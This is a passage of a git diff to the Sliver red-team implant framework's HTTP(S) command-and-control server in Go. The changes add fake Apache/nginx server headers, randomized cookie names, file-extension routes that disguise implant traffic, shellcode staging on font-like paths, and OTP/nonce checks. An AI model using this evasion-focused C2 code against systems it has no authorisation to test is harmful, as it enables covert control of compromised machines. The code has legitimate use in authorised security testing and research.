repeated WindowsPrivilegeEntry PrivInfo = 1;
|
||||
string ProcessIntegrity = 2;
|
||||
string ProcessName = 3;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
@@ -848,8 +847,9 @@ message RegisterExtension {
|
||||
|
||||
message CallExtensionReq {
|
||||
string Name = 1;
|
||||
string Export = 2;
|
||||
bool ServerStore = 2;
|
||||
bytes Args = 3;
|
||||
string Export = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
@@ -1,52 +0,0 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
)
|
||||
|
||||
func TestRsaKeyHandler(t *testing.T) {
|
||||
|
||||
certs.SetupCAs()
|
||||
|
||||
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
server, err := StartHTTPSListener(&HTTPServerConfig{
|
||||
Addr: "127.0.0.1:8888",
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("Listener failed to start %s", err)
|
||||
return
|
||||
}
|
||||
rr := httptest.NewRecorder()
|
||||
handler := http.HandlerFunc(server.rsaKeyHandler)
|
||||
handler.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusOK {
|
||||
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
|
||||
}
|
||||
|
||||
}
|
||||
File renamed without changes.
@@ -19,6 +19,7 @@ package c2
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
@@ -27,19 +28,25 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"mime"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
@@ -54,14 +61,26 @@ import (
|
||||
var (
|
||||
httpLog = log.NamedLogger("c2", "http")
|
||||
accessLog = log.NamedLogger("c2", "http-access")
|
||||
|
||||
ErrMissingNonce = errors.New("nonce not found in request")
|
||||
ErrMissingOTP = errors.New("otp code not found in request")
|
||||
ErrInvalidEncoder = errors.New("invalid request encoder")
|
||||
ErrDecodeFailed = errors.New("failed to decode request")
|
||||
ErrReplayAttack = errors.New("replay attack detected")
|
||||
)
|
||||
|
||||
const (
|
||||
defaultHTTPTimeout = time.Second * 60
|
||||
pollTimeout = defaultHTTPTimeout - 5
|
||||
sessionCookieName = "PHPSESSID"
|
||||
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
|
||||
DefaultHTTPTimeout = time.Minute * 5
|
||||
DefaultLongPollTimeout = float32(20)
|
||||
DefaultLongPollJitter = float32(20)
|
||||
minPollTimeout = time.Second * 5
|
||||
)
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// HTTPSession - Holds data related to a sliver c2 session
|
||||
type HTTPSession struct {
|
||||
ID string
|
||||
@@ -126,33 +145,50 @@ type HTTPServerConfig struct {
|
||||
Cert []byte
|
||||
Key []byte
|
||||
ACME bool
|
||||
|
||||
MaxRequestLength int
|
||||
|
||||
EnforceOTP bool
|
||||
LongPollTimeout float32
|
||||
LongPollJitter float32
|
||||
}
|
||||
|
||||
// SliverHTTPC2 - Holds refs to all the C2 objects
|
||||
type SliverHTTPC2 struct {
|
||||
HTTPServer *http.Server
|
||||
Conf *HTTPServerConfig
|
||||
ServerConf *HTTPServerConfig // Server config (user args)
|
||||
HTTPSessions *HTTPSessions
|
||||
SliverStage []byte // Sliver shellcode to serve during staging process
|
||||
Cleanup func()
|
||||
|
||||
server string
|
||||
poweredBy string
|
||||
c2Config *configs.HTTPC2Config // C2 config (from config file)
|
||||
serverVersion string
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getServerHeader() string {
|
||||
if s.server == "" {
|
||||
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
|
||||
if s.serverVersion == "" {
|
||||
switch insecureRand.Intn(1) {
|
||||
case 0:
|
||||
s.serverVersion = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
|
||||
default:
|
||||
s.serverVersion = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
|
||||
}
|
||||
}
|
||||
return s.server
|
||||
return s.serverVersion
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getPoweredByHeader() string {
|
||||
if s.poweredBy == "" {
|
||||
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
|
||||
insecureRand.Intn(3), insecureRand.Intn(17))
|
||||
func (s *SliverHTTPC2) getCookieName() string {
|
||||
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
|
||||
index := insecureRand.Intn(len(cookies))
|
||||
return cookies[index]
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
|
||||
if s.c2Config != nil {
|
||||
return s.c2Config
|
||||
}
|
||||
return s.poweredBy
|
||||
s.c2Config = configs.GetHTTPC2Config()
|
||||
return s.c2Config
|
||||
}
|
||||
|
||||
// StartHTTPSListener - Start an HTTP(S) listener, this can be used to start both
|
||||
@@ -162,7 +198,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
StartPivotListener()
|
||||
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
|
||||
server := &SliverHTTPC2{
|
||||
Conf: conf,
|
||||
ServerConf: conf,
|
||||
HTTPSessions: &HTTPSessions{
|
||||
active: &map[string]*HTTPSession{},
|
||||
mutex: &sync.RWMutex{},
|
||||
@@ -171,9 +207,9 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
server.HTTPServer = &http.Server{
|
||||
Addr: conf.Addr,
|
||||
Handler: server.router(),
|
||||
WriteTimeout: defaultHTTPTimeout,
|
||||
ReadTimeout: defaultHTTPTimeout,
|
||||
IdleTimeout: defaultHTTPTimeout,
|
||||
WriteTimeout: DefaultHTTPTimeout,
|
||||
ReadTimeout: DefaultHTTPTimeout,
|
||||
IdleTimeout: DefaultHTTPTimeout,
|
||||
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
|
||||
}
|
||||
if conf.ACME {
|
||||
@@ -195,7 +231,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
defer cancelHTTPS()
|
||||
server.HTTPServer.Shutdown(ctx)
|
||||
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
|
||||
httpLog.Warnf("Failed to shutdown https server")
|
||||
httpLog.Warn("Failed to shutdown https server")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
@@ -205,13 +241,11 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
defer cancel()
|
||||
server.HTTPServer.Shutdown(ctx)
|
||||
if err := server.HTTPServer.Shutdown(ctx); err != nil {
|
||||
httpLog.Warnf("Failed to shutdown https server")
|
||||
httpLog.Warn("Failed to shutdown https server")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
c, k, err := certs.C2ServerGetRSACertificate(conf.Domain)
|
||||
httpLog.Infof("C2-Server: %v %v %v", c, k, err)
|
||||
_, _, err := certs.C2ServerGetRSACertificate(conf.Domain)
|
||||
if err == certs.ErrCertDoesNotExist {
|
||||
httpLog.Infof("Generating C2 server certificate ...")
|
||||
_, _, err := certs.C2ServerGenerateRSACertificate(conf.Domain)
|
||||
@@ -220,62 +254,86 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return server, nil
|
||||
}
|
||||
|
||||
func getHTTPTLSConfig(conf *HTTPServerConfig) *tls.Config {
|
||||
if conf.Cert == nil || conf.Key == nil {
|
||||
var err error
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
|
||||
if conf.Domain != "" {
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
|
||||
} else {
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost")
|
||||
}
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to generate self-signed tls cert/key pair %v", err)
|
||||
httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
cert, err := tls.X509KeyPair(conf.Cert, conf.Key)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to parse tls cert/key pair %v", err)
|
||||
httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
|
||||
return nil
|
||||
}
|
||||
return &tls.Config{
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256},
|
||||
PreferServerCipherSuites: true,
|
||||
CipherSuites: []uint16{
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
|
||||
tls.TLS_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_RSA_WITH_AES_256_CBC_SHA,
|
||||
},
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) router() *mux.Router {
|
||||
router := mux.NewRouter()
|
||||
c2Config := s.LoadC2Config()
|
||||
if s.ServerConf.MaxRequestLength < 1024 {
|
||||
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
|
||||
}
|
||||
if s.ServerConf.LongPollTimeout == 0 {
|
||||
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
|
||||
s.ServerConf.LongPollJitter = DefaultLongPollJitter
|
||||
}
|
||||
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
// Key Exchange Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.KeyExchangeFileExt),
|
||||
s.rsaKeyHandler,
|
||||
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
// Start Session Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt),
|
||||
s.startSessionHandler,
|
||||
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
// Session Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt),
|
||||
s.sessionHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
// Poll Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt),
|
||||
s.pollHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
// Close Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt),
|
||||
s.closeHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
// Can't force the user agent on the stager payload
|
||||
// Request from msf stager payload will look like:
|
||||
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
|
||||
router.HandleFunc("/{rpath:.*\\.woff[/]{0,1}.*$}", s.stagerHander).Methods(http.MethodGet)
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
|
||||
s.stagerHander,
|
||||
).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
|
||||
|
||||
// Request does not match the C2 profile so we pass it to the static content or 404 handler
|
||||
if s.Conf.Website != "" {
|
||||
httpLog.Infof("Serving static content from website %v", s.Conf.Website)
|
||||
if s.ServerConf.Website != "" {
|
||||
httpLog.Infof("Serving static content from website %v", s.ServerConf.Website)
|
||||
router.HandleFunc("/{rpath:.*}", s.websiteContentHandler).Methods(http.MethodGet)
|
||||
} else {
|
||||
// 404 Handler - Just 404 on every path that doesn't match another handler
|
||||
@@ -290,19 +348,86 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
}
|
||||
|
||||
// This filters requests that do not have a valid nonce
|
||||
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
nonce, err := getNonceFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
|
||||
return false // NaN
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
if s.ServerConf.EnforceOTP {
|
||||
httpLog.Debug("Checking for valid OTP code ...")
|
||||
otpCode, err := getOTPFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
return false
|
||||
}
|
||||
valid, err := cryptography.ValidateTOTP(otpCode)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
return false
|
||||
}
|
||||
if valid {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
} else {
|
||||
httpLog.Debug("OTP enforcement is disabled")
|
||||
return true // OTP enforcement is disabled
|
||||
}
|
||||
}
|
||||
|
||||
func getNonceFromURL(reqURL *url.URL) (int, error) {
|
||||
qNonce := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 1 {
|
||||
qNonce = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if qNonce == "" {
|
||||
httpLog.Warn("Nonce not found in request")
|
||||
return 0, ErrMissingNonce
|
||||
}
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
|
||||
return false // NaN
|
||||
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
|
||||
return 0, err
|
||||
}
|
||||
_, _, err = encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
|
||||
return false // Not a valid encoder
|
||||
httpLog.Warnf("Invalid nonce (%s)", err)
|
||||
return 0, err
|
||||
}
|
||||
return true
|
||||
return nonce, nil
|
||||
}
|
||||
|
||||
func getOTPFromURL(reqURL *url.URL) (string, error) {
|
||||
otpCode := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 2 {
|
||||
otpCode = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if otpCode == "" {
|
||||
httpLog.Warn("OTP not found in request")
|
||||
return "", ErrMissingNonce
|
||||
}
|
||||
return otpCode, nil
|
||||
}
|
||||
|
||||
func digitsOnly(value string) string {
|
||||
var buf bytes.Buffer
|
||||
for _, char := range value {
|
||||
if unicode.IsDigit(char) {
|
||||
buf.WriteRune(char)
|
||||
}
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
func loggingMiddleware(next http.Handler) http.Handler {
|
||||
@@ -316,34 +441,36 @@ func loggingMiddleware(next http.Handler) http.Handler {
|
||||
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
|
||||
resp.Header().Set("Server", s.getServerHeader())
|
||||
resp.Header().Set("X-Powered-By", s.getPoweredByHeader())
|
||||
resp.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
|
||||
switch uri := req.URL.Path; {
|
||||
case strings.HasSuffix(uri, ".txt"):
|
||||
resp.Header().Set("Content-type", "text/plain; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".css"):
|
||||
resp.Header().Set("Content-type", "text/css; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".php"):
|
||||
resp.Header().Set("Content-type", "text/html; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".js"):
|
||||
resp.Header().Set("Content-type", "text/javascript; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".png"):
|
||||
resp.Header().Set("Content-type", "image/png")
|
||||
default:
|
||||
resp.Header().Set("Content-type", "application/octet-stream")
|
||||
if resp.Header().Get("Content-type") == "" {
|
||||
contentType := mime.TypeByExtension(req.URL.Path)
|
||||
if contentType != "" {
|
||||
resp.Header().Set("Content-type", contentType)
|
||||
} else {
|
||||
// We add a few more common mime types that aren't detected by
|
||||
// the stdlib mime library
|
||||
switch uri := req.URL.Path; {
|
||||
case strings.HasSuffix(uri, ".jsp"):
|
||||
fallthrough
|
||||
case strings.HasSuffix(uri, ".phtml"):
|
||||
fallthrough
|
||||
case strings.HasSuffix(uri, ".php"):
|
||||
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
|
||||
default:
|
||||
resp.Header().Set("Content-type", "application/octet-stream")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
next.ServeHTTP(resp, req)
|
||||
})
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Infof("Request for site %v -> %s", s.Conf.Website, req.RequestURI)
|
||||
contentType, content, err := website.GetContent(s.Conf.Website, req.RequestURI)
|
||||
httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI)
|
||||
contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI)
|
||||
if err != nil {
|
||||
httpLog.Infof("No website content for %s", req.RequestURI)
|
||||
resp.WriteHeader(404) // No content for this path
|
||||
resp.WriteHeader(http.StatusNotFound) // No content for this path
|
||||
return
|
||||
}
|
||||
resp.Header().Set("Content-type", contentType)
|
||||
@@ -351,17 +478,19 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
|
||||
}
|
||||
|
||||
func default404Handler(resp http.ResponseWriter, req *http.Request) {
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Debugf("[404] No match for %s", req.RequestURI)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
|
||||
}
|
||||
|
||||
// [ HTTP Handlers ] ---------------------------------------------------------------
|
||||
|
||||
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
httpLog.Debug("Public key request")
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
|
||||
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.ServerConf.Domain, err)
|
||||
}
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
@@ -371,12 +500,13 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Start http session request")
|
||||
|
||||
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Info("Failed to fetch rsa private key")
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Warn("Failed to fetch rsa private key")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -386,25 +516,29 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
|
||||
privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
|
||||
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
body, _ := ioutil.ReadAll(req.Body)
|
||||
body, err := ioutil.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read body %s", err)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(404)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
|
||||
if err != nil {
|
||||
httpLog.Info("RSA decryption failed")
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Error("RSA decryption failed")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
sessionInit := &sliverpb.HTTPSessionInit{}
|
||||
@@ -416,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
ID: core.NextSessionID(),
|
||||
Transport: "http(s)",
|
||||
RemoteAddress: getRemoteAddr(req),
|
||||
Send: make(chan *sliverpb.Envelope, 16),
|
||||
Send: make(chan *sliverpb.Envelope),
|
||||
RespMutex: &sync.RWMutex{},
|
||||
Resp: map[uint64]chan *sliverpb.Envelope{},
|
||||
})
|
||||
@@ -427,52 +561,31 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, []byte(httpSession.ID))
|
||||
if err != nil {
|
||||
httpLog.Info("Failed to encrypt session identifier")
|
||||
resp.WriteHeader(404)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.SetCookie(resp, &http.Cookie{
|
||||
Domain: s.Conf.Domain,
|
||||
Name: sessionCookieName,
|
||||
Domain: s.ServerConf.Domain,
|
||||
Name: s.getCookieName(),
|
||||
Value: httpSession.ID,
|
||||
Secure: true,
|
||||
Secure: false,
|
||||
HttpOnly: true,
|
||||
})
|
||||
resp.Write(encoder.Encode(ciphertext))
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
|
||||
httpLog.Debug("Session request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req)
|
||||
if err != nil {
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
body, _ := ioutil.ReadAll(req.Body)
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
|
||||
if httpSession.isReplayAttack(data) {
|
||||
httpLog.Warn("Replay attack detected")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
plaintext, err := cryptography.GCMDecrypt(httpSession.Key, data)
|
||||
if err != nil {
|
||||
httpLog.Warnf("GCM decryption failed %v", err)
|
||||
resp.WriteHeader(404)
|
||||
httpLog.Warnf("Failed to decode request body: %s", err)
|
||||
return
|
||||
}
|
||||
envelope := &sliverpb.Envelope{}
|
||||
@@ -488,81 +601,134 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
} else if handler, ok := handlers[envelope.Type]; ok {
|
||||
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
|
||||
}
|
||||
resp.WriteHeader(200)
|
||||
// TODO: Return random data?
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Poll request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(403)
|
||||
httpLog.Warnf("No session with id %#v", httpSession.ID)
|
||||
resp.WriteHeader(http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
// We already know we have a valid nonce because of the middleware filter
|
||||
nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, _ := encoders.EncoderFromNonce(nonce)
|
||||
select {
|
||||
case envelope := <-httpSession.Session.Send:
|
||||
resp.WriteHeader(200)
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
data, _ := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
|
||||
resp.Write(encoder.Encode(data))
|
||||
case <-time.After(pollTimeout):
|
||||
ciphertext, err := cryptography.GCMEncrypt(httpSession.Key, envelopeData)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to encrypt message %s", err)
|
||||
ciphertext = []byte{}
|
||||
}
|
||||
resp.Write(encoder.Encode(ciphertext))
|
||||
case <-time.After(s.getPollTimeout()):
|
||||
httpLog.Debug("Poll time out")
|
||||
resp.WriteHeader(201)
|
||||
resp.Header().Set("Etag", s.randomEtag())
|
||||
resp.WriteHeader(http.StatusNoContent)
|
||||
resp.Write([]byte{})
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
return nil, ErrInvalidEncoder
|
||||
}
|
||||
|
||||
body, err := ioutil.ReadAll(&io.LimitedReader{
